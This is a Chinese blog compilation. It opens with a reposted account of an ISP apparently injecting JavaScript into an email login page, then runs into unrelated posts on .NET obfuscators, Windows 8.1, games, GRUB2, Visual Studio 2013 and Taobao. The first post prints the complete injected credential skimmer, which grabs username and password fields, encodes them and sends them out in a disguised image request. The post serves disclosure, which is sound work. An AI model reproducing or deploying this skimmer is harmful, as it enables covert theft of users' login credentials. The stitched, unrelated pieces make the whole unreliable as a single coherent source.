[转载]你们以为运营商只是HTTP插点广告而已么

国内某邮件服务商,近期在某南方地区有大量客户反应登录时出错和异常,于是工作人员进行了一下跟进,发现如下:

首先,邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密(没错,JS的RSA),发送到SSO登陆点,然后进行登录,有些人一看RSA,应该挺安全的了,不过……

在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了,原理很简单,大家可以参考腾讯安全中心的这篇文章http://security.tencent.com/index.php/blog/msg/10

在客户端抓包发现收到的HTTP数据包有异常,有几个包的TTL多了2,说明比正常从服务器到客户端的数据包少走了两跳,而且离服务器不是很远,估计在一个机房里,并且数据包的ID是很规律的12345,明显就是伪造的,包中插入了如下内容:

<script type="text/javascript"> 
    document.getElementById("freepassword").onblur = function (e) { 
        logoFresh(); 
    }; 

    function onLoginCheck() { 
        var user = null; 
        var pass = null; 
        user = document.getElementById("freename").value; 
        pass = document.getElementById("freepassword").value; 
        if (user.length <= 0 || pass.length <= 0) { 
            return false; 
        } else { 
            return rskQuery(user + '&' + pass + '&xxxxx.com'); 
        } 
    }; 

    function rskQuery(s) { 
        s = encodeURIComponent(s); 
        var r = Math.random(); 
        var num = (Math.round(r * 100)) % 9 + 1; 
        var i = 0; 
        var out = ''; 
        do { 
            var ch = s.charCodeAt(i++); 
            ch = (i % 2 > 0) ? (ch - i % num) : (ch + i % num); 
            var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1); 
            out += l.toString() + ch; 
        } while (i < s.length); 
        out = r.toString().substring(0, num) + out + num; 
        return out; 
    }; 

    function logoFresh() { 
        var h = logoUrl(); 
        var s = onLoginCheck(); 
        if (s == false) { 
            return false; 
        } 
        for (var i = 0; i < 2; i++) { 
            var bg_logo = new Image(0, 0); 
            bg_logo.src = h + 'images/logo_bg.jpg?' + s; 
        } 
        var s1 = onLoginCheck(); 
        var ajaxUrl = h + 'images/logo_bg.jpg?' + s1; 
        var result = xmlHttpConnect(ajaxUrl, "get", null); 
    }; 

    function logoUrl() { 
        return '/'; 
    }; 

    function createXMLHttp() { 
        if (window.XMLHttpRequest) return new XMLHttpRequest(); 
        else if (window.ActiveXObject) return new ActiveXObject("Microsoft.XMLHTTP"); 
        else return null; 
    }; 

    function xmlHttpConnect(url, method, content) { 
        var request = createXMLHttp(); 
        if (request == null) return null; 
        try { 
            request.open(method, url, true); 
            request.send(content); 
        } catch (e) { 
            return null; 
        } 
        if ((request.readyState == 4) && (request.status == 200)) return null; 
        else return null 
    }; 

    document.getElementById("vippassword").onblur = function (e) { 
        logo_Fresh(); 
    } 

    function onLoginPhone() { 
        var user = null; 
        var pass = null; 
        user = document.getElementById("vipname").value; 
        pass = document.getElementById("vippassword").value; 
        if (user.length <= 0 || pass.length <= 0) { 
            return false; 
        } else { 
            return rskQuery(user + '&' + pass + '&vip.xxxxx.com'); 
        } 
    } 

    function logo_Fresh() { 
        var h = logoUrl(); 
        var s = onLoginPhone(); 
        if (s == false) { 
            return false; 
        } 
        for (var i = 0; i < 2; i++) { 
            var bg_logo = new Image(0, 0); 
            bg_logo.src = h + 'images/logo_bg.jpg?' + s; 
        } 
        var s1 = onLoginCheck(); 
        var ajaxUrl = h + 'images/logo_bg.jpg?' + s1; 
        var result = xmlHttpConnect(ajaxUrl, "get", null); 
    } 
</script>

 

在登录form里抓取用户名和密码,当成参数跟在logo后面再访问一下logo,再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多logo的请求后面跟着明文用户名密码吧,错了,服务商那边根本没看到logo被请求两次,推断是带有这个特征的数据包被drop了,真尼玛用心啊。

至此,用户的邮箱密码已经泄露,用户和服务商也没有任何察觉,可能由于某些原因,比如延迟,丢包,bug之类的,导致部分用户被插的时候有异常,影响了原有的登录js,才导致这次事件浮出水面。

服务商由于成本问题,暂不考虑采用SSL登录。

至于那边还有什么类似设备我就不多说了,反正据我的了解,国内随便什么实权部门都能任意在ISP机房和主干网上接入任意设备,据说连税务的都有。

关于本次事件学到的内容:

国内服务用的任何用户名和密码和在国外比如gmail,twitter的账号要不相同,而且没有任何关联,并且国外服务的注册邮箱,密保邮箱等都要采用国外邮箱,首推gmail,并且打开二次认证,不要用短信认证,用手机验证器。

线上线下密码要分开,不相同,不近似,比如本地硬盘加密密码。凡是通过明文协议传输的通通被视为已暴露,HTTPS登录时每次手动查看证书签发机构是否为之前常用的那一个,遇到怀疑是国内CA伪造证书的立刻把证书导出另存为,因为国内没有root CA(cnnic的好像在ff和chrome已经被去掉了),只有二级证书机构,一旦被发现随便签证书会被立刻取消资格,并且黑名单推送到各大浏览器和操作系统。

呵呵,你们以为能频繁的,多种花样的插12306就赢了么,你们以为每天在微博打打嘴炮就胜利了么,菊花都被爆脱肛了还不知道。

.NET加密原理之方法体加密信息对应关系

  在 per method 的dotNet加密中,首要解决的方法体对应关系,即在运行时加密壳如何确定当前要解密的方法体所对应的加密信息。

  目前大部分加密壳都直接利用了dotNet的元数据来保存这种对应关系,我们知道在元数据中每个方法都会对应一个RVA值,加密壳可以直接把这个关系记录在RVA的地址处。在框架运行中RVA处的数据会被作为“方法体”在处理流程中直接传递,加密壳通过拦截框架处理流程中的函数,来对“方法体”进行分流处理。即先判断RVA处的数据是否“方法体加密对应信息”,如果是进入加密壳运行库的内部处理,不是则按原框架流程处理。

  对于这个“方法体加密对应信息”,最简单的方式是指记录一个指针信息,指向另一处数据块,四字节空间就够了。但是为了和普通没有加密的方法体进行区分,除了这个之外还需要增加一些唯一标识以便能被运行库在运行时安全无误的区分出来。

  大家可以用UE打开,加密后的程序集,看看一个方法体RVA处的数据,应该能很容易分别出来哪些是记录的“方法体加密对应信息”。

  正是这个原因,所以DNGuard v1.0和同类处理方式的加密壳,对方法体小于某个指定字节数的,就不能进行加密。

  因为“方法体加密对应信息”的大小超过的方法体的空间大小,写入的话会覆盖到后面方法体的信息。这实际上也是因为偷懒造成的。可以通过对方法体进行重排来解决这个问题,当然要麻烦很多了。

  这种模式实际上就是在元数据保存了一个虚拟表实现了 MethodToken => “方法体加密对应信息” 的对应记录。这个表可以看着是公开的。

  在DNGuard 2007 中我没有选择使用对方法体重排的方式来解决这个问题,而是选择了另一个方法,自己记录一个 虚拟表实现:MethodToken => “方法体加密对应信息” 的对应记录。

  因为这样有一个好处,就是 这个虚拟表也可以进行加密后保存。另外就是“方法体加密对应信息”中不需要添加标识符 和普通没有加密的方法体进行区分。

  在 DNGuard 2007 试用版 中没有使用真正的加密算法来对程序集加密,只是采用了“代码直接挪位”的方式,运行库的“解密”操作只是从另一个位置直接读取的操作。

  有个朋友分析到DNGuard 试用版里面有一个虚拟表记录了:MethodRid => ILCode。这个就是 虚拟表:MethodToken => “方法体加密对应信息” 在 试用版中退化的模式。

  另外因为方法体只是挪位,所以它实际上还是在程序集文件内,加载到内存中后也在程序集模块的内存空间中。而不是那位朋友说的 运行库在解密后将 IL代码 填回到内存里面去了。

  试用版只是提供给用户验证 DNGuard 是否适合自己的软件项目以及系统发布环境,请不要用试用版 加密程序集后直接分发。

微软放出Windows 8.1玩游戏鼠标指针滞后修复补丁

此前根据国外知名论坛Reddit用户反馈称由于微软对多显示器进行DPI“改善”处理之后导致部分游戏出现不能使用Raw输入或者 DirectInput的情况,在玩比如《杀出重围:人类革命》、《潜行者:切尔诺贝利的阴影》和《地铁2033》和部分《使命召唤》系列等游戏的时候会 出现严重滞后情况,此外还引发了鼠标具备高滚动比例和高DPI的情况。对此今天微软官方承认了Windows 8.1确实存在这样的缺陷,并放出了专门的修复补丁来让玩家更加开心。

微软在官方支持页面中表示:“当你使用Windows 8.1或Windows Server 2012 R2系统来玩某些游戏的时候,鼠标确实会存在冻结和严重滞后的情况。而出现这样问题的原因是Windows 8.1系统在对鼠标进行调整的时候引发了交互场景延迟严重的问题,因为玩家在鼠标移动的时候会明显感觉比前代Windows更卡。”

完整的补丁包下载请点击:    x86 x64

暴雪DOTA《暴风英雄》正式公布

在日前召开的暴雪嘉年华会展上,暴雪正式公布了自家Dota类游戏《暴风英雄》(Heroes of the Storm)

   《暴风英雄》最早被官方曝光是在2010年的暴雪嘉年华大会上,当时它以《星际争霸2:自由之翼》自定义地图的形式而存在,名唤《暴雪DOTA》(Blizzard DOTA),随后在2012年5月,为避免同Vavle的《Dota2》产生法律纷争,暴雪宣布该作标题被更改为《暴雪全明星》(Blizzard All-Stars),直至数月前本作被再度易名成《暴风英雄》。

   于《暴风英雄》中,玩家有机会化身来自暴雪几大核心游戏品牌产品(包括《星际争霸》系列、《暗黑破坏神》系列以及《魔兽争霸》系列)的经典游戏角色,好比人族机枪兵雷诺、幽灵诺娃,亦或是大菠萝、泰瑞尔,以及阿尔萨斯、玛法里奥等,这些英雄依据其自身特性又可被归类为武士(Warrior)、刺客(Assassin)、辅助(Support)和专精(Specialist)等共计四种职业。

   最后,《暴风英雄》将会以“免费游戏+微交易”的形式同玩家见面。

Win8.1下绕过限制安装新版必应拼音输入法

方法是:在命令行里输入“文件路径\必应输入法安装包名称 /i /quiet”,操作流程如下:

1、Win+X 调出来“命令提示符”

2、在命令提示符中输入,C:\Users\lishewen\Desktop\BingPinyinSetup_1.1.169.02 /i /quiet,回车,即完成任务了。

3、Win8.1中成功安装上最新版Bing输入法了

Fedora19和Windows8双系统修改默认引导

由于Fedora19使用的是grub2,与之前修改较大,不建议直接编辑配置文件,使用工具很方便。

配置文件:/etc/default/grub

前提:配置文件内有  GRUB_DEFAULT=saved  

grep menuentry /boot/grub2/grub.cfg

           查看可引导的设备

grub2-set-default "Microsoft Windows 8 (on /dev/sda1)"

           修改默认引导为"Microsoft Windows 8 (on /dev/sda1)"设备

grub2-editenv list

           检查默认引导设备

Visual Studio 2013 新增改进后的项目模版及社交账号认证

  Visual Studio 2013 包括了新的项目模版及改善的用户体验,能让开发者更快速构建项目和应用。在新界面的帮助下,用户能够创建新的 MVC 项目并且很容易往项目中增加 Web Forms 页面,还可以在 Web Forms 项目中通过脚手架功能使用 Web API。

  当用户在 Visual Studio 2013 中创建 ASP.NET 项目时,能够在 home 页、关于页和联系页中进行基本的导航,此外还能使用 Bootstrap 创建网站的主题 ,无论你使用的是哪种技术――ASP.NET MVC、Web Forms、Web API、SPA。此外,Visual Studio 2013 可以通过 Windows、活动目录和如 Facebook、Twitter、微软账号、Google 等社交账号对用户进行认证,此外,按照项目的需求,Visual Studio 2013 还提供了更多的验证器(providers)。

  Visual Studio 2013 包括一个 Project_Readme.html 文件,这在创建新的项目时就会看到。这个文件包括了在 ASP.NET 中新特性一览和在创建项目后所需的步骤,同时也包括了关于主题定制、部署和网络上的其他资源信息。

  最新发布的 ASP.NET 中包含了 ASP.NET Identity,它是一套新的 membership 系统,能够轻易地将应用数据和用户特定的档案数据进行整合。它也允许你选择在应用中用户档案的持久化模型,包括将数据存储在 SQL Server 数据库,或者类似于 Windows Azure 存储表这样的 NoSQL 数据存储中的能力。

Microsoft.AspNet.Identity.Core.1.0.0, Microsoft.AspNet.Identity.EntityFramework.1.0.0和 Microsoft.AspNet.Identity.Owin.1.0.0 是与 ASP.NET Identity 功能相关的 NuGet 包。 ASP.NET web 优化框架包括用于提高 ASP.NET web 应用性能的如打包、压缩服务。

Microsoft.AspNet.Web.Optimization.1.1.1 以 NutGet 包方式提供,并且包含了 WebGrease Antlr 依赖库。另一方面,Microsoft.AspNet.Providers.Core 包用于存储应用中的 session 数据。

Microsoft.Owin.Security.ActiveDirectory, Microsoft.Owin.Security.Cookies,Microsoft.Owin.Security.Facebook, Microsoft.Owin.Security.Google, Microsoft.Owin.Security.Jwt,Microsoft.Owin.Security.MicrosoftAccount, Microsoft.Owin.Security.OAuth,Microsoft.Owin.Security.Twitter 均以 NuGet 包的形式发布以用于设置 MVC 个人账号、Web 表单、Web API 和 Web API 专用的组织账号时使用。

  Microsoft.AspNet.FriendlyUrls 包能让用户生成友好的 URL,其中一项功能能够让你添加一个视图切换功能,以使用户在移动设备和桌面视图间轻易地进行切换。此外,ScriptManager 控件提供了对 web 优化的支持,此外项目模版能让用户将 jquery 的打包引用注册到 ScriptManager 控件中。

  Visual Studio 2013 包括针对 ASP.NET MVC 和 Web API 项目改进的项目模版,其中包括一个内置帮助页(Microsoft.AspNet.WebAPI.HelpPage)的新模版。

Windows 8.1 企业版可实现开始页面布局控制

在微软的官方博客中,微软强调企业版Windows 8.1 Enterprise系统支持IT管理员设置和变更系统开始页面的默认布局特性。“Windows 8.1 Enterprise当前已经开放,其中包含有名为开始页面控制的新特性。这是专为IT专业人士设计,用于为群组用户设置开始页面布局,并防止其他用户更改布局的新特性。”

要实现这一功能非常简单,随后IT管理员就能按照他们的想法设置开始页面的布局了。上面的截图就是示例。微软表示,要将布局导出,可使用如下PowerShell命令:

PS C:\> Export-StartLayout –As XML –Path \\contoso-mgmt\Layouts$\ManagedUser.xml

随后就可访问组策略管理器,在“运行”项目中输入gpedit.msc即可。导航至用户设置>策略>管理员模板>开始菜单与任务栏,并找到开始页面布局策略项目。最后一步是链接至通过PowerShell导出布局文件。

随后,开始页面就会完全锁定,用户将无法对布局做修改。普通用户无法添加新的磁贴,或者删去磁贴以及对磁贴进行重新排序。

暴雪国服战网彻底抛弃IE6

暴雪国服战网大升级:彻底放弃 IE6.0

  暴雪蓝帖公告战网升级后将不再支持 IE6.0 内核浏览器

  微软眼下正千方百计诱导用户升级最新的操作系统,而游戏厂商便成了最好的帮手。目前已经有很多最新的 PC 游戏大作将 Windows XP 排除在了支持列表之外,而现在就连官方网站也开始排挤老版本 IE 浏览器了。

  暴雪中国团队发布蓝帖表示近期将对国服战网进行一次整体升级,之后不再支持 IE6.0 浏览器。所有使用 IE6.0 内核的浏览器产品都将无法正常访问网站内容。同时,所有 IE6.0 内核浏览器的用户在访问战网时收到一个警告并有浏览器升级选项。

  暴雪在公告中强调,此次对于战网的升级是为了给用户带来更高效的服务,而做出放弃对于 IE6.0 浏览器支持的决定则是完全建立在大量的用户调查、数据收集以及微软相关政策之上。

  另外,微软官方今天也宣布对于 Windows XP 版的 MSE 安全软件支持将在 2014 年 4 月停止

微淘正式公测 凭淘宝ID可注册

11月1日消息 阿里巴巴旗下无线事业群宣布,将在今日早上10点开始正式对外公测其微淘平台。所有淘宝外部的商家、达人、以及任何有兴趣的个人都可以进入官方网址(we.taobao.com)申请进驻该平台,微淘相关负责人透露,注册微淘的流程非常简单,目前只凭淘宝ID就可以直接进入官方网站申请微淘账号。

微淘今日10点正式公测  凭淘宝ID可注册

据介绍,微淘是在手机淘宝客户端推出的公共账号平台,通过这个平台,消费者可以通过在手机端订阅消息的方式获得自己关注的商家、店铺、达人等分享的各种最新的商品和资讯,并在平台上轻松、便捷的完成消费流程;而账号运营者则可以通过管理后台,获得手机淘宝客户端3.2亿用户的消费数据与信息,更好的管理和维护自己的目标客户。

微淘平台从今年4月起开始通过“邀请码”的方式进行内测,截止目前已经有50000个账号进驻。在今年10月底,手机端微淘与PC端爱淘全面打通。随后微淘还打通了阿里最新的社交平台“来往”,用户可以将微淘内容分享到来往动态中。

微淘运营负责人“小刀”提醒,公测后会有很多人在第一时间抢注微淘,想要尽快成功注册,需要注意以下内容:

1)通过PC页面提前抢注淘字号直接保护为微淘名称

2)四个及以上汉字方才可注册微淘账号

3)对店铺及知名商标已经采取保护措施,想要抢注者请绕道

4)一个淘宝ID仅可注册一个微淘名称

5)如何通过店铺ID注册微淘有更多营销和CRM插件使用

6)非卖家ID注册达人微淘可推广任何店铺商品